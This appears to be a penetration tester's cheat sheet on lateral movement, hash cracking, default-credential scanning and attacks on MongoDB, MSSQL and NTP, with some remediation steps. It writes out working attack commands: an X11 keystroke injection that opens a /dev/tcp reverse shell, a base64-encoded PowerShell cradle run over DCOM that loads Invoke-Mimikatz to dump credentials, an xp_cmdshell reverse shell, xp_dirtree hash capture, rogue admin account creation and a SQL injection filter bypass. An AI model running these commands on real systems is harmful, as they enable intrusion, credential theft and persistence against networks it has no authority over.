./dpat.py -n onlyntlm.txt -c hashcat.potfile -g Domain_Admins
```

## Other

#### Cleaning up

After you've cracked hashes and delivered your report you may want to clean up both hashes and cracked passwords. This is important because you don't want to accidentally leak or lose track of potentially thousands of passwords for an enterprise. Be very careful with the files, especially when redirectinng to new files, etc. Remember to clean up your potfile too, as the hashes are stored there after cracking.

#### Rainbow tables

Rainbox tables are pre-computed hashes you can use to compare against if hashes are not salted, like NTLM.\
[Free rainbow tables](<https://web.archive.org/web/20160402172945/https://www.freerainbowtables.com/en/tables2 >)


# Remote Access Sheet

### Remote Desktop Protocol (RDP)

RDP is Microsoft's built-in remote desktop solution that ships with all versions of Windows. The service is not listening by default, but it is commonplace to enable it in corporate environments.&#x20;

**Port:** 3389/TCP

**Tools:** Microsoft Remote Desktop Client (Windows/Mac), rdesktop, xfreerdp

**Examples:**

```
C:\Windows\System32\mstsc.exe
```

```
rdesktop -g 80% 192.168.112.200
```

```
xfreerdp /u:josh /d:testlab /pth:64f12cddaa88057e06a81b54e73b949b /v:192.168.112.200
```

### Virtual Network Computing (VNC)

VNC was created as a vendor agnostic graphical desktop solution and is widely deployed in \*nix environments. Historically it was commonly deployed without authentication. Modern servers strongly urge administrators to configure a password.&#x20;

**Port:** 5900/TCP

**Tools:** The plethora of open-source VNC applications, RealVNC, TightVNC, Screen Sharing (Mac)

**Examples:**

```
vncviewer
```

### Apple Remote Desktop (ARD)

ARD is Apple's graphical remote desktop solution. The service is not listening by default, and in our experience it is not widely deployed.&#x20;

**Port:** 3283/UDP (v1), 5900/TCP (v2)

**Tools:** Screen Sharing, VNC applications

**Examples:**

```
/System/Library/CoreServices/Screen Sharing.app
```

```
vncviewer
```

### Xorg

The Xorg Foundation create and maintain's the widely deployed X11 windowing system used in most \*nix environments. Most administrators are aware that the client-server model allows forwarding of X-sessions over SSH tunnels; however, when configured to allow TCP sessions, the X-session can be attached to remotely. The default X11 configuration was changed to disallow TCP sessions several years ago, but we still see it from time to time. If you see TCP 6000+N open, you can likely execute code on that machine or remotely log keystrokes.

**Port:** 6000+N/TCP, (or 22/TCP via SSH)

**Tools:** xspy, xwatchwin, xwd, xvkbd, ssh, MSF, xrdp.py

**Example screenshot:**

```
xwd -root -screen -silent -display 192.168.37.146:0 > screenshot.xwd
```

\
**Example keyboard injection:**

```
xvkbd -no-repeat -no-sync -no-jump-pointer -remote-display 192.168.37.146:0 -text "/bin/bash -i > /dev/tcp/192.168.37.101/8000<&1 2>&1\r"
```

\
**Example remote keylog:**

```
xspy 192.168.1.1
```

### System Center Configuration Manager (SCCM) Remote Control

SCCM is often used in enterprise networks to handle patch deployment for workstations and servers, as well as help facilitate installation of applications to groups of managed systems. When configured through the administration console, managed systems can be configured to start a remote control service (System Center Remote Control). While it provides similar functionality to RDP, it does not leverage Terminal Services, and in certain configurations can allow full control of a remote system without alerting logged-on users to the session hijack.&#x20;

**Port:** 2701/TCP

**Tools:** [CmRcViewer.exe](https://dolosgroup.io/s/RemoteControl.zip), SCCM Admin console

Note: If you are not inclined to download a random executable from the Internet(duh), the SCCM Remote Control client can be found at *C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin\i386\\* after installing SCCM. Be warned, setting up an SCCM lab is unfathomably complicated.

### Telnet

Modern operating systems no longer leverage telnet, but we still see it on almost every pentest on embedded devices, or legacy systems. The old skool command line console access operates as a cleartext protocol and has largely been replaced by SSH.&#x20;

**Port:** 23/TCP

**Tools:** Telnet, Netcat (nc), Ncat

**Examples:**

```
telnet 192.168.1.1
```

```
nc 192.168.1.1 23
```

```
ncat 192.168.1.1 23
```

### RLogin/Rsh

The Berkeley alternate to the Telnet standard was used on \*nix systems for decades before being replaced by SSH. Rather than requiring user/password auth, administrators could specify source machines that were considered authenticated via a .rhosts file. Rlogin is an interactive shell, similar to telnet. Rsh can be used to execute a single command.&#x20;

**Port:** 512-514/TCP

**Tools:** rlogin, rsh, remsh, rexec, rcp

**Examples:**

```
rlogin -l josh 192.168.1.1
```

```
rsh -l josh 192.168.1.1 "ping -c4 192.168.1.2"
```

### Secure Shell (SSH)

It's everywhere in the \*nix world, and has a ton of features built in that us attackers can leverage for pivoting, tunneling X-sessions, file transfers, etc..&#x20;

**Port:** 22/TCP

**Tools:** ssh, PuTTY

**Examples:**

```
ssh root@192.168.1.1
```

### Server Message Block (SMB)

SMB has been leveraged for file administration on Windows and \*nix systems for decades. Another feature often abused by attackers is the use of administrative shares (C$, ADMIN$, IPC$) to push a service binary to a target machine, then start the service for semi-interactive I/O. SysInternalsSuite includes the PsExec binary which is largely credited for developing and leveraging this technique. Local administrative privileges are required to push the service binary to the ADMIN$ share, after which an RPC/SVCCTL call creates and starts the remote control service. IPC$ is leveraged to create named pipes for input and output which act as a semi-interactive shell.&#x20;

**Port:** 445/TCP (SMB), 135/TCP (RPC), High-random port

**Tools:** PsExec,exe, psexec.py (impacket), winexe, MSF, smbexec

**Examples:**

```
PsExec.exe \\192.168.1.1 -u josh -p Password1 cmd.exe
```

```
winexe --system --uninstall -U testlab/josh%Password1 //192.168.112.200 cmd.exe
```

```
psexec.py 'josh':'Password1'@192.168.112.200 cmd.exe
```

```
smbexec.py 'josh':'Password1'@192.168.112.200 cmd.exe
```

### Windows Remote Management (WinRM)

WinRM was Microsoft's implementation of the open WS-Management standard for SOAP-based remote management. Microsoft includes several standalone tools (winrm, winrs) and is also the underlying technology used for PowerShell Remoting. Under the surface, WinRM makes use of WMI queries, but can also leverages the IPMI driver for hardware management. It's a terribly powerful tool, albeit not a widely deployed yet due to its relative infancy.&#x20;

**Port:** 5985/TCP (HTTP), 5986/TCP (HTTPS)

**Tools:** winrm, winrs, PowerShell Remoting

**Example list services:**

```
winrm get wmicimv2/Win32_Service –r:192.168.112.20
```

\
**Example execute ipconfig (or any other code):**

```
winrs /r:WIN-DEHIB5FROC2 /u:josh /p:Password1 ipconfig
```

\
**Example PSRemote cmdlet on remote system:**

```
PS> Invoke-Command 192.168.112.200 {Get-Service *}
```

\
**Example PSRemote interactive PS Session:**

```
PS> Enter-PSSession -ComputerName 192.168.112.200 -Credential testlab\josh
PS> ...
PS> Exit-PSSession
```

### Windows Management Instrumentation (WMI)

WMI is Microsoft's consolidation of system management under a single umbrella. It is leveraged heavily under the hood for local operation, but can also be used for remote execution. Several built-in tools exist for either WQL query execution, or full code execution. Impacket includes wmiexec which also provides a semi-interactive shell.&#x20;

Remote WMI queries used RPC/DCOM as the communication bus.

**Port:** 135/TCP (RPC), plus one high-random TCP (DCOM)

**Tools:** winrm, winrs, PowerShell Remoting

**Example list services:**

```
wmic.exe /USER:"testlab\josh" /PASSWORD:"Password1" /NODE:192.168.112.200 service get "startname,pathname"
```

\
**Example execute code (add user):**

```
wmic /USER:"testlab\josh" /PASSWORD:"Password1" /NODE:192.168.112.200 process call create "net user hacker Str0nGP_$sw0rd /add /domain"
```

\
**Example list services (via PS cmdlet):**

```
PS> Get-WMIObject -ComputerName 192.168.112.200 -query "Select * from Win32_Service"
```

\
**Example list processes (via linux wmic util):**

```
pth-wmic -U testlab/josh%Password1 //192.168.112.200 "select csname,name,processid,sessionid from win32_process"
```

\
**Example semi-interactive shell (impacket):**

```
wmiexec.py 'josh':'Password1'@192.168.112.200
```

### Scheduled Tasks&#x20;

Tasks, that are, scheduled. In addition to running commands locally, the built-in schtasks utility leverages RPC/DCOM to schedule tasks on remote machines. On legacy Windows machines At.exe performed this functionality, but was deprecated for SchTasks in modern platforms. Application firewalls that block Schtasks may still allow At, a good reason to attempt both if necessary.&#x20;

**Port:** 135/TCP (RPC), plus one high-random TCP (DCOM)

**Tools:** schtasks, at

**Examples:**

```
schtasks.exe /Create /S 192.168.112.200 /U testlab\josh /P Password1 /TR "C:\Windows\System32\win32calc.exe" /TN "pwnd" /SC ONCE /ST 20:05
```

```
at.exe \\192.168.112.200 20:25 cmd /c "C:\Windows\System32\win32calc.exe"
```

### Microsoft Management Console (MMC2.0) Application Class

In 2017, Matt Nelson released [research](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) into methods for lateral movement using DCOM. We strongly urge you to review his research for full details (it's worth the read). Reviewing all the intricacies of DCOM is outside the scope of what can/should be covered in a "cheat sheet", but leave it to say the MMC2.0 application class can be accessed remotely over RPC/DCOM, and exports the ExecuteShellCommand method which can be used to... Execute..a..Shell..Command.

MMC requires local admin due to the nature of the application, and will be blocked by the default firewall rules. BUT, we've seen enough networks that disable host firewalls to make good use of this technique.&#x20;

**Port:** 135/TCP (RPC), plus one high-random TCP (DCOM)

**Tools:** native .NET calls on Windows

**Example code execution:**

```
PS> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.112.200"))
PS> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,"7")
```

\
**Example Invoke-Mimikatz** (listener started on 192.168.112.132:8000)**:**

```
PS> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://192.168.112.132:8000/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > C:\\Users\\josh\\Desktop\\mimi.txt"))

PS> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.112.200"))
PS> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQAyAC4AMQAzADIAOgA4ADAAMAAwAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAgAD4AIABDADoAXABcAFUAcwBlAHIAcwBcAFwAagBvAHMAaABcAFwARABlAHMAawB0AG8AcABcAFwAbQBpAG0AaQAuAHQAeAB0AA==","7")
```

### ShellWindows Object

A few weeks after his initial research on MMC lateral movement, Matt Nelson published more research targeting DCOM objects that lacked an explicit LaunchPermission attribute. Read his post [here](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) for a thorough review of the techniques shown below.

Successful auth over RPC is required; however, regardless of privilege the code will execute as a child of the explore.exe process with limited privileges. No scaping memory directly with this method.. :(

**Port:** 135/TCP (RPC), plus one high-random TCP (DCOM)

**Tools:** native .NET calls on Windows

\
When invoking .NET calls in this fashion, the existing auth token is used. Great for lateral movement from a compromised system, but not if you are remotely accessing a target machine with recovered credentials. The simplest method we have found is to create a new PS Session with runas.

**Example auth:**

```
PS> runas /netonly /user:TESTLAB\josh "powershell.exe"
```

\
**Example code execution:**

```
PS> $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.112.200")
PS> $obj = [System.Activator]::CreateInstance($com)
PS> $item = $obj.Item()
PS> $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
```

\
**Example: call shutdown routine (user prompted for confirmation):**

```
PS> $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.112.200")
PS> $obj = [System.Activator]::CreateInstance($com)
PS> $item = $obj.Item()
PS> $item.Document.Application.ShutDownWindows()
```

\
**Example troll: launch IE with Sloths in Space (10 hours):**

```
PS> $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.112.200")
PS> $obj = [System.Activator]::CreateInstance($com)
PS> $item = $obj.Item()
PS> $item.Document.Application.ShellExecute("iexplore.exe","https://www.youtube.com/watch?v=AaxQhNBBSkM","C:\Program Files\Internet Explorer",$null,"1")
```

### ShellBrowserWindow Object

Functionally the same as the previous method, the ShellBrowserWindow object can be leverage for remote code execution over DCOM

**Port:** 135/TCP (RPC), plus one high-random TCP (DCOM)

**Tools:** native .NET calls on Windows

\
When invoking .NET calls in this fashion, the existing auth token is used. Great for lateral movement from a compromised system, but not if you are remotely accessing a target machine with recovered credentials. The simplest method we have found is to create a new PS Session with runas.

**Example auth:**

```
PS> runas /netonly /user:TESTLAB\josh "powershell.exe"
```

\
**Example code execution:**

```
PS> $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.112.200")
PS> $obj = [System.Activator]::CreateInstance($com)
PS> $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
```


# Password Cracking Using Hashcat

## Errors on Hashcat

If you are running Hashcat on AMD based GPU like me you might get errors about ***AMD HIP SDK.***

For this, we can install [**AMD HIP SDK**](https://www.amd.com/en/developer/resources/rocm-hub/hip-sdk.html)

**Also, Hashcat Beta works well with this -->** [**https://hashcat.net/beta/**](https://hashcat.net/beta/)

***

For fast lookup I have added the most commonly seen ones in AD environments below

| Mode  | Hash                                | Description                                                                 |
| ----- | ----------------------------------- | --------------------------------------------------------------------------- |
| 1000  | NTLM                                | Extremely common, used for general domain authentication                    |
| 1100  | MsCache                             | Domain cached credentials, old version                                      |
| 2100  | MsCache v2                          | Domain cached credentials, new version                                      |
| 3000  | LM                                  | Old, rarely used anymore (still a part of NTLM)                             |
| 5500  | NetNTLMv1 / NetNTLMv1+ESS           | NTLM for authentication over the network                                    |
| 5600  | NetNTLMv2                           | NTLM for authentication over the network                                    |
| 7500  | Kerberos 5 AS-REQ Pre-Auth etype 23 | AS\_REQ is the initial user authentication request of Kerberoas             |
| 13100 | Kerberos 5 TGS-REP etype 23         | TGS\_REP is the reply of the Ticket Granting Server to the previous request |

#### Dictionary attack <a href="#user-content-dictionary-attack" id="user-content-dictionary-attack"></a>

Here is a very basic dictionary attack using the world famous [***rockyou***](https://www.kali.org/tools/wordlists/) wordlist.

```
hashcat.exe -m 5600ntlmv2-hash.txt rockyou.txt -o cracked-hash.txt
```

The limitation here is as with all wordlist attacks the fact that **if the password you are trying to crack is not in the list; you won't be able to crack it**. This leads us to the next type of attack, a rule-based attack.

#### Rules-based attack <a href="#user-content-rules-based-attack" id="user-content-rules-based-attack"></a>

Run [***rockyou***](https://gitlab.com/kalilinux/packages/wordlists) Wordlist with the [***OneRuletoRuleThemAllStill***](https://gist.github.com/smhuda/350b23cefcbdfa3d83e97e8dcb9e1efd) ruleset.

{% code overflow="wrap" %}

```
hashcat.exe -m 5600 -r OneRuletoRuleThemAllStill.rule ntlmvs-hash.txt rockyou.txt -o cracked-hash.txt
```

{% endcode %}

You are free to experiment with both lists and rules in this part. Only the sky is the limit (or your GPU / tolerance for hot computer smell)


# Calculate IP Addresses from CIDR

***

<https://github.com/smhuda/howmanyips>


# Grep IP addresses or IP Ranges from a File

<https://github.com/smhuda/ipgrepper/blob/main/ipgrepper.sh>


# Default Credentials Checking

### Run on Subnet with Dry Run Fingerprinting on ALL protocols on a Single Subnet

```
changeme --all 172.18.0.0/20 --dryrun -f
```

### Run on Subnet with Dry Run Fingerprinting on ALL protocols on a Single Subnet

```
changeme --all Grepped-ips.txt --dryrun -f
```

### Run on a Subnet or File with List of IPs or Subnets (Active Scan) on All Protocols:

```
changeme --all 172.18.0.0/20

changeme --all Grepped-ips.txt
```

```console
root@kali:~# changeme -h

 #####################################################
#       _                                             #
#   ___| |__   __ _ _ __   __ _  ___ _ __ ___   ___   #
#  / __| '_ \ / _` | '_ \ / _` |/ _ \ '_ ` _ \ / _ \  #
# | (__| | | | (_| | | | | (_| |  __/ | | | | |  __/  #
#  \___|_| |_|\__,_|_| |_|\__, |\___|_| |_| |_|\___|  #
#                         |___/                       #
#  v1.2.3                                             #
#  Default Credential Scanner by @ztgrace             #
 #####################################################
    
usage: changeme.py [-h] [--all] [--category CATEGORY] [--contributors]
                   [--debug] [--delay DELAY] [--dump] [--dryrun]
                   [--fingerprint] [--fresh] [--log LOG] [--mkcred]
                   [--name NAME] [--noversion] [--proxy PROXY]
                   [--output OUTPUT] [--oa] [--protocols PROTOCOLS]
                   [--portoverride] [--redishost REDISHOST]
                   [--redisport REDISPORT] [--resume]
                   [--shodan_query SHODAN_QUERY] [--shodan_key SHODAN_KEY]
                   [--ssl] [--threads THREADS] [--timeout TIMEOUT]
                   [--useragent USERAGENT] [--validate] [--verbose]
                   target

Default credential scanner v1.2.3

positional arguments:
  target                Target to scan. Can be IP, subnet, hostname, nmap xml
                        file, text file or proto://host:port

options:
  -h, --help            show this help message and exit
  --all, -a             Scan for all protocols
  --category CATEGORY, -c CATEGORY
                        Category of default creds to scan for
  --contributors        Display cred file contributors
  --debug, -d           Debug output
  --delay DELAY, -dl DELAY
                        Specify a delay in milliseconds to avoid 429 status
                        codes default=500
  --dump                Print all of the loaded credentials
  --dryrun              Print urls to be scan, but don't scan them
  --fingerprint, -f     Fingerprint targets, but don't check creds
  --fresh               Flush any previous scans and start fresh
  --log LOG, -l LOG     Write logs to logfile
  --mkcred              Make cred file
  --name NAME, -n NAME  Narrow testing to the supplied credential name
  --noversion           Don't perform a version check
  --proxy PROXY, -p PROXY
                        HTTP(S) Proxy
  --output OUTPUT, -o OUTPUT
                        Name of result file. File extension determines type
                        (csv, html, json).
  --oa                  Output results files in csv, html and json formats
  --protocols PROTOCOLS
                        Comma separated list of protocols to test:
                        http,ssh,ssh_key. Defaults to http.
  --portoverride        Scan all protocols on all specified ports
  --redishost REDISHOST
                        Redis server
  --redisport REDISPORT
                        Redis server
  --resume, -r          Resume previous scan
  --shodan_query SHODAN_QUERY, -q SHODAN_QUERY
                        Shodan query
  --shodan_key SHODAN_KEY, -k SHODAN_KEY
                        Shodan API key
  --ssl                 Force cred to SSL and fall back to non-SSL if an
                        SSLError occurs
  --threads THREADS, -t THREADS
                        Number of threads, default=10
  --timeout TIMEOUT     Timeout in seconds for a request, default=10
  --useragent USERAGENT, -ua USERAGENT
                        User agent string to use
  --validate            Validate creds files
  --verbose, -v         Verbose output
```

<br>


# Check SSL/TLS Certificates

### Check the expiration date of an SSL or TLS certificate

Open the Terminal application and then run the following command:

{% code overflow="wrap" %}

```
$ openssl s_client -servername {SERVER_NAME} -connect {SERVER_NAME}:{PORT} | openssl x509 -noout -dates
```

{% endcode %}

{% code overflow="wrap" %}

```
$ echo -n Q | openssl s_client -servername {SERVER_NAME} -connect {SERVER_NAME}:{PORT} | openssl x509 -noout -dates
```

{% endcode %}

### Finding SSL certificate expiration date from a PEM-encoded certificate file

The syntax is as follows query the certificate file for when the TLS/SSL certification will expire

{% code overflow="wrap" %}

```
$ openssl x509 -enddate -noout -in {/path/to/my/my.pem}

$ openssl x509 -enddate -noout -in /etc/nginx/ssl/www.cyberciti.biz.fullchain.cer.ecc

$ openssl x509 -enddate -noout -in /etc/nginx/ssl/www.nixcraft.com.fullchain.cer
```

{% endcode %}

### We can also check if the certificate expires within the given timeframe. For example, find out if the TLS/SSL certificate expires within next 7 days (604800 seconds):

```
$ openssl x509 -enddate -noout -in my.pem -checkend 604800

# Check if the TLS/SSL cert will expire in next 4 months #

$ openssl x509 -enddate -noout -in my.pem -checkend 10520000
```


# Log a terminal session

When you are ready to start recording a log file, type:

```
script screen.log
```

Now, until you stop the script, all input and output in the Terminal will be stored in screen.log. When you are done, just type:

```
exit
```

Your screen.log file will stored in the local directory. If you want to redirect it, use an absolute pathname such as `~/screen.log`. This will do exactly what you are looking for.<br>


# Unauthenticated Mongo DB

MongoDB by default does not enforce authentication. In many situations, this may allow anyone on the network to access all data within the database.

### PENTESTING MONGODB

The commands needed to verify connectivity are fairly straightforward. The mongo client (and server) can be installed with the apt package `mongodb`.

The following commands can be used to explore and read data from an unauthenticated MongoDB server:

* Connect to the server: `mongo 10.0.0.5:27017`
* List databases: `show dbs`
* Use database: `use <database>`
* List collections: `show collections`
* Search contents: `db.<collection>.find()`

Below shows an example:

```
> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
> use config
switched to db config
> show collections
system.sessions
> db.system.sessions.find()
> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
> use admin
switched to db admin
> show collections
system.version
> db.system.version.find()
{ "_id" : "featureCompatibilityVersion", "version" : "3.6" }

```

### CONFIGURING AUTHENTICATION

To secure a MongoDB server we’ll need to set a username and password. Once a user is created, the database needs to be shut down, and restarted with access control enabled.

#### 1. CREATING AN ADMIN USER

The following will create a basic admin user:

```
use admin
db.createUser(
  {
    user: "myUserAdmin",
    pwd: "p@ssw0rd",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" }, "readWriteAnyDatabase" ]
  }
)
```

You should then see a response as follows:

<img src="https://www.virtuesecurity.com/wp-content/uploads/2021/09/mongo-create-user.png" alt="MongoDB Create User" height="211" width="624">

#### 2. ENABLE ACCESS CONTROL

In this example we are using ubuntu, so we will edit the `/etc/mongodb.conf`. We will find the following section:

```
# Turn on/off security.  Off is currently the default
#noauth = true
#auth = true
```

We will then uncomment `auth = true`.

#### 3. RESTART MONGODB

On Ubuntu we can restart the service with the following command:

```
sudo systemctl restart mongodb
```

We can then verify that access controls are enforced by reconnecting without credentials and running a query:

```
$ mongo 127.0.0.1:27017
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017/test
MongoDB server version: 3.6.3
> show dbs
2021-09-08T02:09:59.898-0700 E QUERY    [thread1] Error: listDatabases failed:{
    "ok" : 0,
    "errmsg" : "not authorized on admin to execute command { listDatabases: 1.0, $db: \"admin\" }",
    "code" : 13,
    "codeName" : "Unauthorized"
} :

```

#### REFERENCES

<https://docs.mongodb.com/manual/tutorial/enable-authentication/>


# Microsoft SQL Server (MSSQL)

**Default port:** 1433

```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```

### Automatic Enumeration

If you don't know nothing about the service:

```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```

#### Metasploit (need creds)

```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```

### Manual Enumeration

#### Login

```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database> 
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```

#### Common Enumeration

```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
```

#### Get User

{% content-ref url="/pages/XIaUi4WQKGUlJB7x3Yzg" %}
[Broken mention](broken://pages/XIaUi4WQKGUlJB7x3Yzg)
{% endcontent-ref %}

```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
       create_date,
       modify_date,
       type_desc as type,
       authentication_type_desc as authentication_type,
       sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```

### Execute OS Commands

{% hint style="danger" %}
Note that in order to be able to execute commands it's not only necessary to have **`xp_cmdshell`** **enabled**, but also have the **EXECUTE permission on the `xp_cmdshell` stored procedure**. You can get who (except sysadmins) can use **`xp_cmdshell`** with:

```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```

{% endhint %}

```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```

### Steal NetNTLM hash / Relay attack

You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).

```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```

{% hint style="warning" %}
You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:

```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```

{% endhint %}


# NTP Mode 6 Vulnerabilities

## Basic Information

The Network Time Protocol (**NTP**) is a networking protocol for clock synchronization between computer systems over packet-switched, variable-latency data networks.

**Default port:** 123/udp

```
PORT    STATE SERVICE REASON
123/udp open  ntp     udp-response
```

## Enumeration

```bash
ntpq -c readlist <IP_ADDRESS>
ntpq -c readvar <IP_ADDRESS>
ntpq -c peers <IP_ADDRESS>
ntpq -c associations <IP_ADDRESS>
ntpdc -c monlist <IP_ADDRESS>
ntpdc -c listpeers <IP_ADDRESS>
ntpdc -c sysinfo <IP_ADDRESS>
```

```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```

## Examine configuration files

* ntp.conf

## Option 2

The vulnerability can confirmed with the following [nmap](https://nmap.org/) command:

```
$ sudo nmap -Pn -sU -p123 --script ntp-info –n {host}
```

An example response should be received:

```
PORT    STATE SERVICE
123/udp open  ntp
| ntp-info:
|   receive time stamp: 2021-06-10T16:34:52
|   version: ntpd 4.2.6p2@1.2194 Mon Jun 24 12:37:15 UTC 2013 (79)
|   processor: x86_64
|   system: Linux/2.6.99.99
|   leap: 3
|   stratum: 16
|   precision: -21
|   rootdelay: 0.000
|   rootdispersion: 3286057.565
|   peer: 0
|   refid: INIT
|   reftime: 0x00000000.00000000
|   poll: 3
|   clock: 0xe3c51e85.3c189ffa
|   offset: 0.000
|   frequency: 0.000
|   noise: 0.000
|   jitter: 0.000
|_  stability: 0.000\x0D
Service Info: OS: Linux/2.6.99.99
```

### REMEDIATION OF MODE 6 VULNERABILITIES

The easiest and most common way to remediate this issue is by firewalling NTP. Unless you require external clients to use the NTP service from the public internet, it is best to restrict the attack surface completely and firewall or disable the service completely.

#### NTP ON IOS

When enabling NTP on IOS, by default the NTP server is also enabled on all interfaces.

**SOLUTION 1: DISABLE NTP COMPLETELY**

To disable NTP completely, the following command can be used:

```
disable ntp
```

<https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/bsm/command/bsm-cr-book/bsm-cr-n1.html#wp1510820932>

**SOLUTION 2: RESTRICT NTP VIA ACCESS CONTROLS**

```
ntp access-group { access-list-number | access-list-number-expanded | access-list-name }
```

